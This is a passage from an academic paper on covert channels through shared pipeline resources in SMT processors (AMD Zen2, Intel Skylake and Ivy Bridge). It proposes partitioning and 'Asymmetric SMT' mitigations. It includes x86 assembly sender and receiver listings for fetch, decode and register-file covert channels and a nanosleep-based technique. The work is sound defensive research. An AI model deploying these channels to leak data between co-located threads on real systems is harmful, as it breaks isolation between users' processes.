taneously on the sibling threads and measure the effects.

If increasing the saturation in one thread affects the execu-
tion time or the usage of the other thread, we conclude that
the structure is dynamically shared. For dynamically shared
resources, we can typically use the same code to construct
a covert channel by selectively saturating or freeing the re-
source. Finally, we measure the bandwidth and error rate of
the constructed covert channel.

We also explore the possibility of constructing covert chan-
nels on statically partitioned resources. Table 1 shows the list
of the pipeline resources that we examine along with their dis-
covered sharing mechanism and the achieved covert-channel
bandwidth on two different implementations of SMT: AMD
Zen2 and Intel Skylake. The table shows that while AMD
allows most of the pipeline resources to be competitively
shared, Intel Skylake employs some kind of partitioning or
time multiplexing for most key pipeline resources.

In addition to Intel Skylake, we also study the sharing
mechanism of pipeline resources on Ivy Bridge, an older Intel

microarchitecture. Running our microbenchmarks on these
microarchitectures shows that Intel uses similar sharing mech-
anism across these different microarchitectures. Similarly, we
also examine whether any of our channels are impacted by
different versions of the microcode. In an exhaustive analy-
sis on the Ivy Bridge processor (because the older processor
naturally offers updates spanning a longer time period), we
observe no change in any of the discovered sharing mech-
anisms across all available microcode versions. Details of
the methodology are discussed in Section 6. The rest of this
section examines key pipeline structures, moving from front
to back of the pipeline.

4.2 Instruction Fetch Bandwidth
To reverse-engineer the sharing policy of the instruction fetch
unit in an SMT processor, we develop a microbenchmark
that creates artificial contention on the instruction cache read
bandwidth, while ensuring that there is no contention for the
rest of the pipeline resources. To this end, we take advantage
of the fact that NOP instructions have a minimal footprint,
as they get eliminated early in the pipeline and consume few
backend resources, if any.

However, the most commonly used x86 NOPs are 1-byte
instructions. These do not suit our purposes because they
saturate the decoders long before they saturate the fetch unit
(which can fetch 16 NOPs per cycle). To circumvent this,
we leverage a special 15-byte long NOP [16] instruction that
allows us to effectively saturate the instruction cache read
bandwidth, limiting the throughput of the fetch unit to just
one instruction per cycle. Further, we ensure that these NOP15
instructions always miss in the micro-op cache and actually
use the instruction cache read bandwidth, by using large loops
of static NOP15 instructions in our microbenchmark that
exceed the micro-op cache capacity.

Through performance counter measurements, we find that
the Intel frontend sustains a throughput of one NOP per cycle
when our microbenchmark is run in single-threaded mode.
AMD Zen2 also provides the same throughput, despite en-
joying an instruction cache bandwidth of 32 bytes per cycle.
This is because Zen2 requires instructions that are larger than
8 bytes to be in the first 16 bytes of the fetch buffer. When
our microbenchmark is run in SMT mode along with a com-
peting SMT thread that executes the same code, the frontend
throughput is exactly halved, delivering one instruction every
two cycles, for each thread. However, if the code that runs on
the competing thread (T2) delivers its micro-ops through the
micro-op cache or the loop stream detector, T1 gains back its
original one NOP per cycle throughput. This shows that the
instruction fetch bandwidth is dynamically shared between
the threads as we observe a direct impact on the execution
time of its sibling thread when they contend for the fetch unit.

Listing 1 shows the sender and receiver routines for a covert
channel implementation that exploits the performance differ-
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SEND_ZERO:
MOV RAX, 100

L0:
NOP8 #8-Byte
...#N<LSD
NOP8 #8-Byte
DEC RAX
JNZ L0

SEND_ONE:
MOV RAX, 100

L1:
NOP #1-Byte
...
NOP #1-Byte
DEC RAX
JNZ L1

RECEIVER:
TIME #Record Time
NOP15 #15-Byte NOP
...
NOP15 #15-Byte NOP
TIME #Record Time
JMP RECEIVER

Listing 1: Fetch Bandwidth Covert Channel on Intel Proces-
sors. The total number of micro-ops in the receiver loop is
larger than the size of micro-op cache to ensure a zero percent
hit rate. NOP8 and NOP15 are aliases for multi-byte NOP
instructions [16].

ences that arise due to contention for the instruction fetch
bandwidth in Intel. The sender thread transmits ‘zero’ by ex-
ecuting a set of NOP instructions that are delivered by the
loop stream detector or the micro-op cache, creating no fetch
contention. The sender thread transmits ‘one’ by executing
a set of regular 1-byte NOP instructions, maximizing fetch
contention – note that 1-byte NOP instructions will miss in
the micro-op cache as the micro-op cache of Intel processors
does not cache the line if there are more than 18 micro-ops in
a 32-byte region of the code [16,53]. The receiver thread then
measures the execution time of long NOPs that miss in the
micro-op cache to detect that contention. The total number of
the micro-ops within the receiver loop is set to be larger than
the size of the micro-op cache, ensuring that every instruc-
tion uses the fetch bandwidth. This covert channel, as Table 1
shows, can achieve a bandwidth as high as 1640 kbps on an
Intel Skylake processor and as high as 833 kbps on Zen2.

4.3 Decode/Issue Bandwidth
After fetching instructions into the fetch buffer, the x86 fron-
tend translates the instructions into micro-ops (decode) and
delivers those micro-ops to the backend (issue).

To contend for these decoders, we choose regular 1-byte
NOPs. Not only do they not consume backend resources, but
they also do not saturate the fetch bandwidth as described
above, putting decode/issue bandwidth on the critical path.
Thus, when we run regular NOPs on a single thread, the de-
code pipeline is able to deliver 4 NOPs (micro-ops) per cycle
to the backend of the processor. However, this throughput is
reduced to 2 NOPs per cycle if we co-locate this thread (T1)
with a sibling thread (T2) that executes the same set of NOPs,
thereby contending for the decoder resources.

To construct a covert channel that exploits the decode/issue
bandwidth, we need to identify the conditions upon which
the processor assigns more decode bandwidth to T1. If we
switch T2’s instructions to large NOPs (maximum of one
instruction every two cycles), T1 still observes half of its
single-thread throughput, suggesting that on each cycle the
instruction decoders are assigned to one thread as a whole,
i.e., the decode bandwidth is time-multiplexed between the
threads, rather than being statically partitioned. We note that
this is consistent with the details laid out in Intel patents [85].

SEND_ZERO:
MOV RAX, 100
CLFLUSH [RCX]
MFENCE

L0:
#Cache Miss:
MOV RCX, [RCX]
DEC RAX
JNZ L0

SEND_ONE:
MOV RAX, 100

L1:
NOP
... #N>LSD
NOP
DEC RAX
JNZ L1

RECEIVER:
TIME #Record Time
NOP
... #N>LSD
NOP
TIME #Record Time
JMP RECEIVER

Listing 2: Decode/Issue Bandwidth Covert Channel on Intel.

Further, while one would expect T1 to gain back its single-
thread throughput if T2 does not use the legacy decode
pipeline (because it is using the micro-op cache or the LSD
which both bypass the decoder), we observe that even in such
cases the throughput of T1 remains half of its single-threaded
throughput, indicating that the decoders remain time-shared
between the threads, regardless of whether the threads actu-
ally contend for them. On the other hand, if T2 is stalled due
to a bottleneck in the backend (full reservation stations, for
example), we observe that T2 does give up its decode slots
and T1 goes back to its full original 4 NOPs per cycle.

As Listing 2 shows, to slow the backend, we exploit a
data cache miss followed by a sequence of instructions that
are dependent on the long-latency load. This enables a high-
bandwidth covert channel on both the AMD and the Intel
architectures with a bandwidth as high as 1150 kbps on Intel
and 1030 kbps on AMD. Exploiting the frontend covert
channels bolsters the adversary’s ability to fingerprint various
activities (e.g., cache misses, micro-op cache usage pattern)
of a co-located victim thread, without any cache accesses, just
by measuring the execution time of NOPs.

4.4 Register File
Next, we examine the sharing mechanism of physical regis-
ter files of the Intel and AMD processors. Our register file
characterization microbenchmark, shown in Listing 3, con-
sists of two memory read instructions that always miss in the
caches. Between these loads, we have a variable number of
instructions that each consume a physical register, i.e., they
have a destination register. When a thread’s partition fills, no
more instructions can be renamed, placing a limit on the win-
dow for out-of-order execution. If the second memory read
is not renamed, it is then serialized (not renamed until the
former commits). If there is sufficient space to rename it, the
loads execute in parallel and performance is significantly im-
proved. By increasing the number of the register-consuming
MOVs we can identify the exact point where we exhaust the
renaming registers before the second load instruction arrives.

The impact on the execution time is visible in our results of
figure 2. These figures (one for Intel, one for AMD) each show
four lines, representing two threads. This more detailed result
is representative of the analysis done for each of the pipeline
resources, although those discussions have mostly been con-
densed for space reasons. Here, T1 is varied in the number
of registers that are occupied before the second high-latency
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CLFLUSH [RDI]
CLFLUSH [RSI]
MFENCE
MOV RAX, [RSI] #Long-Latency Load
MOV RBX, 88 #Consumes One Phys. Reg
... #Use N Phys Regs
MOV RBX, 88 #Consumes One Phys. Reg
MOV RAX, [RDI] #Long-Latency Load

Listing 3: Microbenchmark for Making Contention on Regis-
ter Files. When N is larger than available physical registers
the two loads cannot be issued in parallel.
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Figure 2: Reverse Engineering the physical register file shar-
ing mechanism.

load, while T2 is kept constant (at 50). For Intel, when T1 runs
in single-threaded mode, we see that it can use about 128 reg-
isters before performance plummets, while in SMT mode that
happens at 64. Further, we see that T2 in SMT mode (dashed
orange line) is relatively unaffected by the size of T1. For
AMD, however, we see that T2 in SMT mode (again, dashed
orange) is clearly sensitive to the varying register pressure of
T1. From this, we conclude that Intel’s physical register file
is statically partitioned, and AMD’s is dynamically shared.

We observe a similar pattern when we change the consum-
ing instructions to instructions that consume vector, vector
mask, or floating point registers. That means the same policy
is applied to those register files as well. We are able to exploit
the contention on physical registers in AMD to construct a
covert channel with a bandwidth of 40 kbps with less than 5%
error rate.

4.5 Reservation Station (RS)/Scheduler
To contend for reservation stations, we use a microbenchmark
similar to the previous section (Listing 3); however, we use
cmp instructions which do not consume a physical register,
but are still dependent on the first load instruction, so the
instructions will consume an RS entry and cannot be issued
until the first load completes execution and makes the result
available to dependent instructions, causing them to quickly
release RS entries. If we have enough entries in the reservation
station available to the thread, the second load can be issued
an RS entry and then dispatched to execution in parallel with
the first load. Therefore, we see a spike in the execution time
when the length of the dependency chain becomes greater
than the number of reservation station entries, as the two
loads become serialized.

In SMT mode, we observe that Ivy Bridge does not let one
thread use all of the 54 RS entries and it always limits the max-
imum number of allocated RS entries to 40, even when the
other thread does not consume any RS entries, e.g., only exe-
cutes NOPs. We refer to this type of sharing as thresholding.
More details on this experiment are provided in Section A.1.

While in theory it should be possible to construct a covert
channel on the 26 shared entries, it imposes considerable
noise and we are not able to construct a reliable channel
on the Intel processor. On the other hand, AMD Zen2 uses
a shared reservation station with which we can construct a
covert channel with a bandwidth of 56 kbps.

4.6 Reorder Buffer, Load/Store Queues
We use slightly different variations of the microbenchmark
shown in Listing 3 to reverse engineer the sharing mechanism
of the ROB and the load and store queues. For the ROB,
we replace the register-consuming instructions with NOPs.
NOPs serve our purpose to isolate the ROB because they
consume ROB entries, but not reservation stations or physical
registers. For the load and store queues, we leverage load
or store instructions that always hit in the cache to isolate
those queues. These instructions each occupy a load/store
queue entry and cannot be issued until the long-latency load
executes. Therefore, at some point, by increasing the number
of load/store instructions, the dispatch cannot progress due
to lack of load/store queue entries. This then forces the long-
latency loads to be serialized. Section A.1 provides more
details on these microbenchmarks. Our experiments show that
the ROB, load, and store queues are all statically partitioned
in Intel processors; ROB and store queue are also partitioned
in AMD Zen2, but the load queue is shared in Zen2.

4.7 Covert Channel on Partitioned Structures
As shown in Table 1, we find that many of the pipeline re-
sources in Intel processors, and some in AMD processors,
are statically partitioned between the threads. For the sake of
completeness, we investigate the potential information leak-
age via these partitioned resources (even though we know
shared resources will be the highest bandwidth channels). We
construct a covert channel where the sender goes in and out of
SMT mode, allowing the receiver to observe the state of the
particular resource in question. The key here is our ability to
enter and exit SMT mode as quickly as possible. To this end,
we examine several x86 instructions used for busy waiting.

We first look at the pause instruction, originally introduced
in Intel’s Pentium 4 processor to improve the power and per-
formance of the spin-wait loops [16], so that the spinning
thread could free resources while waiting. However, our ex-
periments with the pause instruction suggest that the resources
remain partitioned even in the presence of a pause – that is,
pause only releases shared resources, not partitioned.

We also consider mwait, which is a privileged instruction
that provides a hint to the processor so it can enter a spec-
ified target low-power state [16]. In fact, this does release
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partitioned resources, and we are able to successfully create
a channel, but we do not consider this the most useful attack
vector since there are so many other attacks possible for a
user with privileged access.

Finally, we examine Linux’s nanosleep system call which
is a non-privileged call that deschedules the caller thread until
the time specified by the user has elapsed. We observe that,
on Intel processors, calling nanosleep causes the processor
to unpartition resources, allowing the sibling thread to mo-
nopolize them. The nanosleep syscall causes the Linux kernel
to schedule an idle task on the logical core, which then exe-
cutes the aforementioned mwait instruction. This enables a
covert channel for transmitting information even via statically
partitioned resources. The bandwidth of this covert channel,
however, is limited to the minimum latency of the nanosleep
system call. As shown in Table 1, using the nanosleep system
call, we can achieve a bandwidth as high as 24 kbps on the In-
tel processor. On the AMD processor, however, the nanosleep
syscall does not cause the resources to become unpartitioned.

In Section 5, we examine multiple partitioning schemes
that provide greatly increased thread isolation. However, all
are still potentially vulnerable to this channel (fast enter/exit
of SMT mode) if they release all resources to a single thread.
Thus, for the balance of this paper, we assume a simple solu-
tion that provides a countdown timer that limits the frequency
at which the pipeline can release partitioned resources, even
upon exiting SMT mode.

4.8 Other Pipeline Resources
For completeness, we also measure most of the other pipeline
resources that have been covered extensively in the literature,
such as caches [86], TLBs [32], and execution ports [9]. Those
results appear in Table 1, but without extensive discussion.
However, there are other well-studied SMT resources such as
Pattern History Table (PHT) [27] that we do not re-measure
as we focus more on lesser known channels. Our mitigations,
nevertheless, can be readily applied to these structures as
well.

Constructing covert channels on most of the cache-like
structures requires some information about internal structures
of these resources such as the indexing function and asso-
ciativity. Also, the knowledge of the replacement policy of a
cache-like resource can greatly affect the channel bandwidth
as the attacker can exploit that to minimize the size of the
probe set. It is, however, still quite possible to create a high-
bandwidth channel on a cache-like structure without access
to detailed information on the replacement policy, as the at-
tacker only needs to create enough accesses to cause a single
eviction to the other thread’s entries. For example, for any
LRU-like structure (e.g., tree-PLRU, bit-PLRU) with associa-
tivity of n, accessing n new entries guarantees an eviction to
the existing entries of a particular set.

5 Mitigations
This section introduces a suite of mitigation schemes we
examine to eliminate or reduce the leakage across the SMT
pipeline. Prior work has focused on identifying and solving
SMT leaks one at a time [65,70,83]. However, in keeping with
our systematic characterization study of pipeline resources,
we will focus on systematic mitigation solutions that can be
employed broadly across each individual contended structure.

The solutions described in this section include static parti-
tioning, adaptive partitioning, and asymmetric SMT.

5.1 Static Partitioning
The most basic partitioning scheme, already employed heav-
ily, statically divides a resource into equal-sized partitions.
Static partitioning can be applied in two forms: spatial or tem-
poral. Spatial partitioning assigns a resource to a thread and
that assignment does not change through time. This can only
be applied to resources for which the processor has multiple
instances, such as ROB entries. If the number of instances
of a resource is less than the number of SMT threads (e.g.,
some functional units), the processor cannot statically assign
the resource to a thread. In such cases, the processor employs
temporal partitioning (also called time multiplexing). Tempo-
ral partitioning assigns a single resource to each thread in a
round-robin fashion. These basic partitioning schemes ensure
that dynamic contention cannot occur between the threads,
eliminating leakage. For example, in a strictly round-robin
resource, the time slot assigned to thread T1 does not depend,
in any way, on the usage of thread T2. T1 only gets one out of
two slots whether or not T2 uses its slot. This completely in-
hibits a thread from inferring any information from the usage
of the other thread.

5.2 Adaptive Partitioning
While static partitioning can eliminate dynamic contention
between SMT threads, it typically results in underutilization
of pipeline resources, sacrificing overall performance – the
fundamental benefit of SMT processors is allowing resources
to be better utilized by dynamically assigning each resource
to the context that needs it. However, we show that it is possi-
ble to gain back much of the full performance of SMT if we
can adapt to the varied needs of contending threads, but more
slowly. Adaptive partitioning is an on-demand partitioning
scheme that allows for the dynamic reconfiguration of parti-
tion size, once per adaptation interval. This not only improves
resource utilization and overall performance, but also limits
the information leakage to at most one bit per adaptation. In
fact, our results show that even a very long adaptation interval
(of 100,000 cycles) can be effective in recovering much of
the full performance benefits of a fully shared SMT pipeline.

Our adaptive partitioning design augments each resource
with a set of counters: (1) the current size of the partitions,
(2) counters that track the number of “full” events that each
thread encounters, and (3) a countdown timer until the next
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adaptation interval. Note that in our experiments we assume
a single countdown timer for all resources to help simplify
presentation of the results. It also takes three parameters that
are set at design time: adaptation interval, adaptation step, and
adaptation threshold. Figure 3a shows an example for adaptive
partitioning of the instruction queue. For every adaptation
period, we select a thread that has faced more full events in
that period. We then increase the size of the partition of the
selected thread by the adaptation step size. We increase the
partition size only if the new partition size is still smaller than
the adaptation threshold.

We can also apply adaptive partitioning for temporally
shared resources, deviating from a completely symmetric
round-robin assignment. For example, we might adaptively
modify the assignment process for a resource that alternates
between two threads each cycle, in such a way that the re-
source is assigned to a more hungry thread two out of every
three cycles. If it needs more, we could again alter the policy
such that the resource is assigned to the hungry thread three
out of four cycles. At each adaptation interval, we examine
the number of full events of each thread and increase the share
of the thread with the highest full event count. If that thread
is more resource hungry, we increase its count (subject to the
threshold), otherwise we decrease its count. Figure 3b shows
an example of adaptive temporal partitioning.

Adaptive partitioning severely restricts the leakage. Now,
for each resource, the attacker can only leak at most approx-
imately 1 bit (adaptation without threshold) per adaptation
interval (100,000 cycles). For example, an attacker can probe
the size of its own reservation station in two consecutive
adaptation intervals. If the RS shrunk, the attacker infers that
the victim’s RS usage exceeds that of the attacker. This is
orders of magnitude below known channels across cores on
non-SMT processors.

While adaptive partitioning limits leakage to a single bit
per interval, the values of the counters could potentially be
exposed when a thread crosses protection domain boundaries,
and it is therefore critical to reset all such counters at domain
crossings. Resetting the adaptation counters stops the current
context’s behavior from affecting that of the next context. By
doing so, we might miss one opportunity to adapt. But we
find that in steady-state, partition sizes do not change dramat-
ically, and the performance effect of missing one adaptation
opportunity is minimal.

5.3 Asymmetric SMT
While the adaptive partitioning scheme can help recover a
significant chunk of the performance lost due to partitioning,
it is still restrictive as it limits the pipeline resource utilization
even in scenarios where at least one of the threads running
on the processor are trusted or when no sensitive code is
running and cross-thread information leakage may not be
of concern. In this section, we describe a mitigation called
Asymmetric SMT that allows two threads with asymmetric

Time

Adaptation Interval

T1 Entries T2 Entries

Full Events (T1) > Full Events(T2) 

IQ IQ

Adaptation Interval
Full Events (T1) > Full Events(T2) 

IQ

Adaptation Interval
Full Events (T1) < Full Events(T2) 

IQ
Partition Size (T1) ! Max Size 

(a) Spatial

Time

Adaptation Interval

P=2 P=3

Adaptation Interval

P=4

Adaptation Interval

P=3

T1 Cycle T2 Cycle

Full Events (T1) > Full Events(T2) Full Events (T1) > Full Events(T2) Full Events (T1) < Full Events(T2) 

(b) Temporal
Figure 3: Adaptive Partitioning Examples.

trust levels to securely share resources in an SMT processor,
while preventing unauthorized information leakage from a
higher security domain to a lower security domain.

With Asymmetric SMT, then, assuming active threads T_H
and T_L, where T_H is at a higher security level than T_L,
we have the ability to block the leakage from T_H to T_L, but
allow leakage from T_L to T_H. An example where this is
useful is sandboxing in web browsers. While it is not secure
to leak information from the browser thread to the sandbox
thread, it is safe to leak information from the sandbox to the
browser thread. Similarly, it might be safe to leak informa-
tion from a user process to a kernel process, from a guest
virtual machine to the hypervisor, etc. Asymmetric SMT en-
ables lost resource utilization due to partitioning, but the only
beneficiary is the trusted thread. The performance of trusted
threads is on the critical path for many applications, such as
a web browser that runs untrusted Javascript. A study by the
Google v8 team [87] shows that only 20% of Chrome’s page
processing time is spent in running untrusted Javascript code,
while the rest is spent in trusted browser code that performs
tasks such as parsing, compilation, and garbage collection.
Therefore, by improving the performance of the trusted part
of the execution, Asymmetric SMT can significantly impact
overall performance.

The key to Asymmetric SMT is that it allows the trusted
thread to borrow unused pipeline resources from the untrusted
user, only in cases where it can instantly return the resource
when the untrusted thread needs it back. Fortunately, this
instantaneous return is possible for many of the pipeline re-
sources as the out-of-order pipeline is already well-equipped
with mechanisms to deal with various squash events.

The rest of this section discusses how Asymmetric SMT
can be enabled for various pipeline resources. We categorize
the resources into stateful (e.g., ROB), stateless (e.g., func-
tional units), and cache-like resources.
5.3.1 Stateful Resources
We refer to the resources that hold the transient execution
state of a thread’s instructions across multiple cycles and then
get released, as stateful resources – this includes physical
registers, IQ entries, ROB entries, and load/store queue entries.
Asymmetric SMT allows the borrowing thread to use a free
unused entry from the other thread’s partition. Here, we use
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Physical Register File (PRF) as an example.
Figure 4 depicts two example scenarios for borrowing a

physical register. In the initial state, three out of eight entries
are assigned to T_H (assuming PRF already uses an adaptive
partitioning scheme). Note that Asymmetric SMT is orthogo-
nal to the other two partitioning schemes (static and adaptive)
and can be added to either. Once Asymmetric SMT receives a
request from the trusted thread, T_H, which has exhausted all
of the entries in its partition, it checks if T_H can borrow an
unused entry from T_L. Asymmetric SMT permits borrow-
ing only if the number of T_L’s free entries is larger than a
threshold (MIN_FREE), i.e., it always leaves some free slack
registers. This condition is helpful at reducing the number
of expensive squashes which results when T_L runs out of
resources and one must be freed immediately by T_H.

Figure 4a shows the common-case scenario where we com-
mit one of T_H’s instructions before T_L’s partition gets full.
Note that in this case we are not borrowing a specific regis-
ter, but rather allowing T_H’s count to exceed its threshold.
Thus, any T_H instruction that commits and frees a register
will restore it to T_L. Figure 4b shows a scenario where T_L
takes up all of the free entries in its partition before T_H
gets the chance to return the borrowed register. In such a sce-
nario, Asymmetric SMT immediately returns the borrowed
register to T_L. It selects the youngest T_H instruction that
holds a physical register and assigns that register to T_L. T_H
then needs to squash that instruction and all of its subsequent
instructions and restart execution from there.

Similarly, it is possible to allow a trusted thread to borrow
instruction queue and load/store queue entries. During issue,
if the trusted partition is full but the untrusted partition has
more than MIN_FREE free entries, the trusted thread can
borrow unused entries. If the untrusted partition becomes full
before the trusted partition returns the borrowed instruction
queue entry, the trusted thread should immediately return the
borrowed entry.

Not all stateful resources are suitable for borrowing. For
example, we can only allow borrowing of a limited number of
ROB entries due to the instantaneous return requirement. If
we borrow from the ROB more entries than what we can free
per cycle (retire bandwidth), then the borrowing becomes vis-
ible to the owner thread and that leads to information leakage.

5.3.2 Stateless Resources
Examples of stateless resources include execution ports, func-
tional units, fetch bandwidth, and commit bandwidth. Asym-
metric SMT works well with stateless resources, as borrowing
a stateless resource will not ever require an expensive squash.
Here we use execution ports to describe Asymmetric SMT in
stateless resources.

Figure 5 illustrates different temporal partitioning (mul-
tiplexing) schemes for execution ports. We can assign the
whole dispatch bandwidth to one thread each cycle, which
reverts the pipeline to fine-grain multithreading [88] and sacri-
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Figure 5: Partitioning Schemes for Execution Units/Ports. Our
adaptive partitioning and Asymmetric SMT architecture can
reclaim the unused execution slots caused partitioning.

fices the benefits of SMT in eliminating horizontal waste [89].
A better approach is to multiplex individual execution ports
each cycle, which can either be partitioned evenly or unevenly
using our adaptive partitioning methodology. However, even
with adaptive partitioning, there are cycles where T_L cannot
fully utilize the ports that are assigned to it. In such cases,
Asymmetric SMT utilizes the unused ports and borrows them
for T_H. The scheduler for Asymmetric SMT, at each cycle,
first tries to schedule all the ready instructions of T_L to the
execution ports that are assigned to T_L at that cycle, then it
assigns any unused T_L slots to T_H and schedules T_H’s
ready instructions. Note that for brevity, we do not show the
non-pipelined functional units in Figure 5. Non-pipelined
functional units (e.g., Intel’s divider unit) are also borrowable,
but as soon as we receive a request from the owner thread, we
abort the execution of the borrowing thread and immediately
start execution of the owner instruction. Most of the functional
units in the Intel and AMD processors are pipelined.
5.3.3 Cache-like Structures
Cache-like structures are a special type of stateful resource.
In the context of Asymmetric SMT, the major difference be-
tween these and other stateful resources is that caches, once
warmed-up, do not have empty entries. Structures that fit in
this category are the micro-op cache, the private TLBs, and
the private data and instruction caches.

For these structures, Asymmetric SMT cannot enable bor-
rowing of blocks without leaving a visible effect. To address
this, we introduce a mechanism that invalidates entries in the
untrusted (owner) thread’s partition. This invalidation mecha-
nism must be deterministic and independent of any requests
by the trusted thread. Therefore, it does not leak information.

Similar to some of the methods proposed in architecture
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literature on cache dead block prediction [90–92], we dynam-
ically calculate the average reuse distance of cache blocks of
the untrusted partition. Then, we multiply that average with a
static parameter (distance_coefficient > 1) and use that as a
threshold to distinguish between live and dead cache blocks.
If the last access to a cache block is greater than the threshold,
we invalidate that cache block so that it can be lent to the other
thread. Again, only cache accesses of the untrusted thread
can influence this invalidation, so it does not leak information
about the access pattern of the other thread. We use a simple
dead block detection mechanism that is only influenced by
accesses, but more sophisticated dead block elimination meth-
ods can also be used [90–92]. Unlike other stateful resources,
in caches returning a borrowed cache line does not incur any
"squash" cost – it is a simple eviction. As soon as we receive
an access from the owner thread, we invalidate one of the bor-
rowing thread’s cache lines (based on the cache replacement
policy) and return it to the owner partition. For a write-back
cache, we only allow a borrowed line to become dirty if the
cache features a write-out-buffer (WOB) [93] – a buffer that
handles the writes down to the memory hierarchy – so that
we can guarantee the process of returning a dirty borrowed
line is still instantaneous. In addition, we do not allow the
number of dirty borrowed lines to grow larger than the size
of the WOB.
5.3.4 Overheads
Overall, we find that borrowing from stateless resources (func-
tional units and fetch bandwidth) does not impose significant
overheads on the processor pipeline. In terms of area over-
head, we only need to (1) make sure that instructions are
tagged with one bit of thread ID across the pipeline (already
necessary for other reasons), and (2) add very simple logic
that checks if borrowing of a specific resource is allowed in
each cycle, i.e., it checks that the current instruction belongs
to the borrowing (trusted) thread and also there is no demand
for the resource from the untrusted thread. This simple logic,
as shown in Section A.2, does not impose any overhead on
the cycle time, and has negligible power and area overheads.
For stateless resources, Asymmetric SMT only uses an un-
used resource which will be lost if not utilized by borrowing.
Therefore, the performance effect will always be positive. Bor-
rowing stateful resources, however, may require additional
flushing if the untrusted thread requests a borrowed resource.
While this flushing imposes performance overhead to the bor-
rowing thread, our results show that the improved utilization
brought by borrowing greatly outstrips the flushing costs.
5.3.5 More than Two Threads
While SMT implementations with more than two threads are
not common, our asymmetric SMT can be extended to those
processors as well. In those cases, we can define a security
lattice between trust domains and allow threads with higher
trust levels to borrow from threads with lower trust levels. For
example, a kernel thread can borrow from both a sandbox
thread and a browser thread, while a browser thread can only

Table 2: Architecture Detail for the Baseline x86 Core
Baseline Processor

Frequency 3.3 GHz I cache 32 KB, 8 way
Fetch Width 16 B D cache 32 KB, 8 way
Fetch Policy IQ count Retire Width 8 uops
Issue Width 8 uops Decode Width 5 uops
INT/FP Regfile 186/144 regs IQ 97 entries
LQ/SQ Size 64/36 entries Functional Int ALU(4), Mult(1),
ROB Size 224 entries Units FPALU/Mult(2)

borrow from the sandbox.
5.3.6 HW/SW Interface
Asymmetric SMT requires knowledge of the trust level of
active threads running on the SMT processor. We envision
two possible modes of operation for Asymmetric SMT. In the
first mode, Asymmetric SMT relies on existing privilege lev-
els. That is, without any software change, Asymmetric SMT
enables the kernel to borrow resources from a user thread,
or let the hypervisor borrow resources from any of the guest
threads. The second mode allows the software to specify more
fine-grain trust levels for the SMT threads. Thus, Asymmetric
SMT needs to add and maintain new control registers that rep-
resent the trust level of an active thread. Privileged software
would update the control register via a privileged instruction
(e.g., x86’s wrmsr). The second mode also does not require
extensive software changes as all the modifications required
will be contained in the thread/process creation logic.
5.3.7 Quality of Service (QoS)
In addition to the evident security use case, Asymmetric SMT
can also be leveraged for better and more versatile perfor-
mance isolation (i.e., better QoS guarantees). The OS could
mark a latency-critical thread as a high security/priority thread.
Asymmetric SMT, then, improves QoS by assigning more
resources to the latency-sensitive job with guaranteed (perfor-
mance) protection of other jobs.

6 Methodology
This section details the experimental methodology for per-
formance evaluation of the proposed partitioning schemes,
including the Asymmetric SMT architecture. We also discuss
the methodology we use for our covert-channel characteriza-
tion framework presented in Section 4.

For performance evaluation, we model our partitioning
scheme and Asymmetric SMT architecture in the gem5 v20
architectural simulator [94]. We add full support for SMT in
gem5’s out-of-order CPU model. We choose the parameters
of our baseline architectures to resemble an Intel Skylake,
except that, for a more intuitive comparison of partitioning
schemes, our baseline architecture dynamically shares all the
pipeline resources between the threads. The other exception
is that the assignment of the functional units to the execution
ports are slightly different than Skylake and more closely
resembles AMD processors where floating-point and integer
units do not share a single port. Table 2 describes the detailed
architectural configuration.

To characterize performance, we use the C and C++ bench-
marks from the SPEC CPU2017 suite. These benchmarks
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are compiled at the -O3 optimization level using the LLVM
compiler. Following the prevalent methodology for creating
accurate and representative simulation points [95–97], we use
PinPlay [98] and Simpoint [99] to select representative re-
gions for simulation. For each of these benchmarks, we select
the Simpoint region with the highest weight – the most repre-
sentative region. We then make one multi-threaded checkpoint
for every possible pair of the benchmark programs by combin-
ing their selected Simpoints. We run each pair twice: In the
first experiment, we simulate until we complete 100 Million
instructions from the first thread, then swap the threads and
repeat. For example, we will run lbm and perl together twice.
The effect of perl on lbm performance will be factored into
the lbm bars in our graphs, and the effect of lbm on perl will
appear in the perl bars.

The speedup numbers of different schemes are calculated
as the ratio of the combined instruction per cycle (IPC) for
each pair of the programs over the combined IPC of that pair
of programs in the dynamically shared processor. Thus, for
the Asymmetric SMT results, it accounts for both the sped-up
trusted thread and the unaffected untrusted thread in the over-
all results. This is also equivalent to weighted speedup [100], a
well-established performance metric for multiprogram work-
loads, where in this case the baseline is that thread’s perfor-
mance in a dynamically shared SMT processor. Weighted
speedup more accurately reflects useful performance gains,
and avoids over-rewarding speedup of high-IPC threads. For
adaptive partitioning we use at least 100,000-cycle adapta-
tion intervals, unless otherwise noted. The performance bars
that represent Asymmetric SMT are the results of applying
Asymmetric SMT together with adaptive partitioning.

In addition to the SPEC benchmarks, to evaluate Asym-
metric SMT in a more realistic scenario, we model a set-
ting that resembles the computation of web browsers: run-
ning untrusted Javascript codes on one thread and sensitive
cryptography computations on the other. On the first thread,
we run Javascript programs from SunSpider [101] bench-
marks on Duktape [102] Javascript engine, and on the second
thread, we run RSA and AES GSM benchmarks from Wolf
SSL v4.5.0 [103].

We evaluate the performance of our proposed mitigations
by applying them to a wide range of pipeline resources, in-
cluding the Instruction Queue, the Load Queue, the Store
Queue, the integer and vector physical register files, the ROB
(Adaptive only), the instruction and data TLBs, the instruc-
tion and data caches, Branch Target Buffer, fetch and decode
bandwidth, commit bandwidth, and the execution units.

We use Verilog HDL to implement different partitioning
schemes on an example structure (Dispatch Unit). To that end,
We use Synopsis Design Compiler Q-2019.12-SP5-3 with the
45 nm NanGate standard cell library [104] to synthesize and
obtain timing, area, and power information. The results of this
analysis are discussed in Section A.2.

For covert-channel characterization experiments we build
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Figure 6: Covert Channels between a Spy (T0) and a Tro-
jan (T1) Thread. In a fully shared pipeline the instructions
executed on T1 have a clear effect on T0’s execution time.
Partitioned, Adaptive and Asymmetric are always constant
and share the same straight line.

our microbenchmarks on Agner’s test infrastructure [105]. We
run our experiments on various processors. Specifically, we
use AMD Ryzen Threadripper 3960X (Zen2), Intel Xeon E3-
1230 (Ivy Bridge), and Intel Core i7-6770HQ (Skylake). To
measure the bandwidth and error rate of the covert channels,
we transfer a pseudorandom bit sequence which is generated
using a 15-bit wide linear feedback shift register (LFSR). This
allows us to identify various errors that might happen during
the transmission, including bit loss, multiple insertions of
bits, or bit swaps [106]. To estimate the error rate, we use
Levenshtein edit distance between the sent and received data
for the pseudorandom bit sequence.

7 Results
This section characterizes our mitigation strategies. We first
present the security evaluation, followed by performance.

7.1 Security Evaluation
